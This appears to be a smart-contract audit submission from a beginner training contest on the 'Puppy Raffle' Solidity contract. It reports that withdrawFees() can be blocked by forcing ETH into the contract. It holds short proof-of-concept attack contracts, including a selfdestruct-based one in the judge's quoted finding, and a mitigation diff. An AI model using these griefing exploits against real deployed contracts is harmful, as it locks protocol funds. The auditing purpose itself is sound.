Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Incorrect Balance Check Allows Premature Fee Withdrawal

ravigaikar88

Root + Impact

Description

  • The withdrawFees() function uses a strict equality check (balance == totalFees) to ensure no players are active. However, this check can be bypassed by sending ETH directly to the contract or through selfdestruct. Once the balance exceeds totalFees, fees can never be withdrawn even when no players are active, potentially locking fees forever. Additionally, an attacker can front-run legitimate fee withdrawals by sending 1 wei to break the equality.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdrawFees() external {
require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Likelihood: High

    The attack requires no special permissions and can be executed by any external account by sending as little as 1 wei to the contract. The front-running variant is trivial using standard mempool monitoring tools.

    Impact: High


    • Fee withdrawals can be permanently blocked

    • Protocol revenue becomes irretrievably locked

    • No recovery mechanism exists once the balance invariant is broken

    • Affects all future raffles and fee withdrawals

    Overall Risk: High

    Rationale:

    This vulnerability enables a low-cost, permissionless Denial of Service against protocol funds. Because the issue affects core financial operations and leads to permanent loss of access to accumulated fees, it meets the criteria for a High-severity finding under CodeHawks and similar audit standards.


    Impact:

  • Protocol fees can be permanently locked if anyone sends ETH to the contract. Attackers can grief fee withdrawals by sending small amounts of ETH. The protocol loses the ability to collect legitimate fees.

Proof of Concept

This PoC demonstrates a low-cost, permissionless attack that:

  • Permanently locks protocol revenue

  • Breaks core financial functionality

  • Requires no special permissions

  • Costs only 1 wei

// Attack: Lock fees forever
contract FeeLockAttack {
function attack(address puppyRaffle) external payable {
// Send 1 wei to break the balance check
payable(puppyRaffle).transfer(1);
// Now balance > totalFees, fees can never be withdrawn
}
}
​
// Attack: Front-run fee withdrawal
contract FrontRunAttack {
function griefWithdrawal(address puppyRaffle) external payable {
// Monitor mempool for withdrawFees() transaction
// Front-run with higher gas price
payable(puppyRaffle).transfer(1);
// Original withdrawFees() will revert
}
}

Recommended Mitigation

Track active players explicitly instead of relying on balance:

- remove this code
+ add this code
diff --git a/contracts/PuppyRaffle.sol b/contracts/PuppyRaffle.sol
index 1234567..9abcde0 100644
--- a/contracts/PuppyRaffle.sol
+++ b/contracts/PuppyRaffle.sol
@@ -18,6 +18,7 @@ contract PuppyRaffle is ERC721, Ownable {
uint256 public raffleStartTime;
uint256 public raffleDuration;
uint256 public totalFees;
+ uint256 public activePlayerCount;
function enterRaffle(address[] memory newPlayers) public payable {
// ... existing logic ...
@@ -26,6 +27,7 @@ contract PuppyRaffle is ERC721, Ownable {
players.push(newPlayers[i]);
}
+ activePlayerCount += newPlayers.length;
}
function refund(uint256 playerIndex) public {
@@ -34,6 +36,9 @@ contract PuppyRaffle is ERC721, Ownable {
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+
+ activePlayerCount--;
}
function selectWinner() external {
@@ -48,6 +53,7 @@ contract PuppyRaffle is ERC721, Ownable {
// ... existing logic ...
_safeMint(winner, tokenId);
+ activePlayerCount = 0;
}
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(activePlayerCount == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!